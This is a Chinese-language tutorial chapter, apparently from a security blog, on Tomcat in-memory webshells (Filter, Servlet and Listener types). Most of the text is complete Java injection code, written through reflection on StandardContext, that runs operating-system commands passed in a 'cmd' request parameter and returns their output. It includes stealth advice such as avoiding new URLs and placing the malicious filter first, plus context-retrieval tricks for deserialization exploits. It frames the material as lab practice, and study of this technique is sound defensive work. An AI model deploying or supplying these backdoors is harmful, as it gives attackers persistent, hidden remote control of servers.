这是内存马的核心章节,掌握了 Filter 型内存马,其他类型都是触类旁通
Filter 型内存马(最重要)
为什么 Filter 型最常用?
- 拦截范围广:
/* 可以拦截所有请求
- 优先级高:在 Servlet 之前执行
- 隐蔽性好:不需要新的 URL 路径,嵌入现有请求流量中
- 兼容性强:所有 Servlet 容器都支持
原理分析
正常 Filter 注册流程:
1
| web.xml / @WebFilter → Tomcat 解析 → FilterDef + FilterMap → ApplicationFilterConfig → FilterChain
|
内存马的做法是跳过前面的步骤,直接操作 Tomcat 内部数据结构:
1
| 获取 StandardContext → 创建 FilterDef → 创建 FilterMap → 创建 ApplicationFilterConfig → 注入完成
|
注入步骤详解
Step 1: 获取 StandardContext
1 2 3 4 5 6 7 8 9 10 11
|
ServletRequest servletRequest = request;
Field requestField = servletRequest.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request req = (Request) requestField.get(servletRequest);
StandardContext standardContext = (StandardContext) req.getContext();
|
Step 2: 创建恶意 Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Filter evilFilter = new Filter() { @Override public void init(FilterConfig filterConfig) {}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; String cmd = req.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream in = process.getInputStream(); byte[] buf = new byte[1024]; int len; StringBuilder sb = new StringBuilder(); while ((len = in.read(buf)) != -1) { sb.append(new String(buf, 0, len)); } response.getWriter().write(sb.toString()); return; } chain.doFilter(request, response); }
@Override public void destroy() {} };
|
Step 3: 构造 FilterDef
1 2 3 4 5 6 7 8
| FilterDef filterDef = new FilterDef(); filterDef.setFilterName("evilFilter"); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter);
standardContext.addFilterDef(filterDef);
|
Step 4: 构造 FilterMap
1 2 3 4 5 6 7 8 9
| FilterMap filterMap = new FilterMap(); filterMap.setFilterName("evilFilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
|
Step 5: 构造 ApplicationFilterConfig
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
Constructor<?> constructor = ApplicationFilterConfig.class .getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass() .getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
|
Servlet 型内存马
注入步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
Servlet evilServlet = new HttpServlet() { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); InputStream in = p.getInputStream(); } } };
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("evilServlet"); wrapper.setServlet(evilServlet); wrapper.setServletClass(evilServlet.getClass().getName()); wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/evil", "evilServlet");
|
Servlet 型 vs Filter 型
| 维度 |
Filter 型 |
Servlet 型 |
| URL 特征 |
无新 URL,嵌入现有流量 |
需要新的 URL 映射 |
| 隐蔽性 |
高 |
较低(新增了可疑 URL) |
| 实现复杂度 |
中等 |
较简单 |
| 推荐度 |
★★★★★ |
★★★ |
Listener 型内存马
Listener 类型选择
| Listener 类型 |
触发时机 |
适合做内存马? |
ServletRequestListener |
每次请求 |
★★★★★ 最佳 |
HttpSessionListener |
Session 创建/销毁 |
★★ 不够稳定 |
ServletContextListener |
应用启动/关闭 |
★ 只触发一次 |
注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
ServletRequestListener evilListener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Process p = Runtime.getRuntime().exec(cmd); InputStream in = p.getInputStream(); StringBuilder sb = new StringBuilder(); byte[] buf = new byte[1024]; int len; while ((len = in.read(buf)) != -1) { sb.append(new String(buf, 0, len)); } Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); Request request = (Request) reqField.get(req); Response response = request.getResponse(); response.getWriter().write(sb.toString()); response.getWriter().flush(); } catch (Exception e) { e.printStackTrace(); } } }
@Override public void requestDestroyed(ServletRequestEvent sre) {} };
standardContext.addApplicationEventListener(evilListener);
|
Listener 型的特点
优点:执行时机最早(在 Filter 之前)
缺点:获取 Response 对象不方便,需要反射
适用场景:需要最早执行的场景,或作为 Filter 型的替代方案
从线程中获取 StandardContext(无 request 场景)
在反序列化漏洞中,通常没有 request 对象,需要从线程中获取 StandardContext
方法1:从 Thread 的 ThreadLocal 中获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
Thread[] threads = (Thread[]) getFieldValue( Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) { if (thread == null) continue; if (thread.getName().contains("http") || thread.getName().contains("exec")) { Object threadLocals = getFieldValue(thread, "threadLocals"); if (threadLocals == null) continue; Object[] entries = (Object[]) getFieldValue(threadLocals, "table"); for (Object entry : entries) { if (entry == null) continue; Object value = getFieldValue(entry, "value"); if (value != null && value.getClass().getName() .contains("ApplicationContext")) { ServletContext servletContext = (ServletContext) value; Field contextField = servletContext.getClass() .getDeclaredField("context"); contextField.setAccessible(true); StandardContext standardContext = (StandardContext) contextField.get(servletContext); return standardContext; } } } }
|
方法2:从 ContextClassLoader 回溯
1 2 3 4
| ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Object resources = getFieldValue(classLoader, "resources"); StandardContext context = (StandardContext) getFieldValue(resources, "context");
|
深入理解:为什么 5 步缺一不可?
很多初学者只做了 FilterDef + FilterMap 就以为注入成功了,结果 Filter 不生效。这里解释每一步在 Tomcat 内部的作用:
请求处理时 Tomcat 做了什么
1 2 3 4 5 6 7 8 9 10 11 12 13
| 请求到达 → ApplicationFilterFactory.createFilterChain() │ ├── 1. 遍历 standardContext.findFilterMaps() ← 需要 FilterMap │ 找到 URL 匹配的 FilterName │ ├── 2. 用 FilterName 从 filterConfigs (HashMap) 中取出 FilterConfig │ ← 这就是为什么一定要注册 ApplicationFilterConfig !!! │ 如果 filterConfigs 里没有对应的 key,Filter 就被跳过了 │ ├── 3. FilterConfig.getFilter() 获取 Filter 实例 │ ← FilterConfig 内部持有 FilterDef,FilterDef 持有 Filter 实例 │ └── 4. 构造 ApplicationFilterChain,按顺序调用 doFilter
|
只注册 FilterDef + FilterMap 的后果
1 2 3 4 5
| standardContext.addFilterDef(filterDef); standardContext.addFilterMapBefore(filterMap);
|
注入后的验证方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
assert standardContext.findFilterDef("evilFilter") != null : "FilterDef 缺失";
boolean mapFound = false; for (FilterMap m : standardContext.findFilterMaps()) { if ("evilFilter".equals(m.getFilterName())) { mapFound = true; break; } } assert mapFound : "FilterMap 缺失";
Field f = standardContext.getClass().getDeclaredField("filterConfigs"); f.setAccessible(true); Map<?, ?> configs = (Map<?, ?>) f.get(standardContext); assert configs.containsKey("evilFilter") : "FilterConfig 缺失";
|
注意事项与踩坑点
Tomcat 版本差异
| 版本 |
差异点 |
| Tomcat 7 |
FilterDef 在 org.apache.catalina.deploy 包下 |
| Tomcat 8+ |
FilterDef 在 org.apache.tomcat.util.descriptor.web 包下 |
| Tomcat 10+ |
Jakarta 命名空间,javax.servlet → jakarta.servlet |
其他注意
线程安全:Filter/Servlet 是多线程共享的,恶意逻辑需要考虑并发问题
Filter 顺序:使用 addFilterMapBefore() 将恶意 Filter 插入到最前面,否则可能被其他 Filter 拦截
类加载器问题:如果通过 defineClass 加载恶意类,需要使用 WebappClassLoader 而不是 AppClassLoader,否则可能无法访问 Servlet API
addFilterMapBefore vs addFilterMap 的区别
1 2 3 4 5 6 7 8 9 10
| standardContext.addFilterMapBefore(filterMap);
standardContext.addFilterMap(filterMap);
|
练习
- 在靶场环境中手动注入一个 Filter 型内存马
- 比较 Filter 型和 Listener 型的执行顺序
- 尝试在没有 request 对象的情况下获取 StandardContext
- 观察注入前后
standardContext.getFilterDefs() 的变化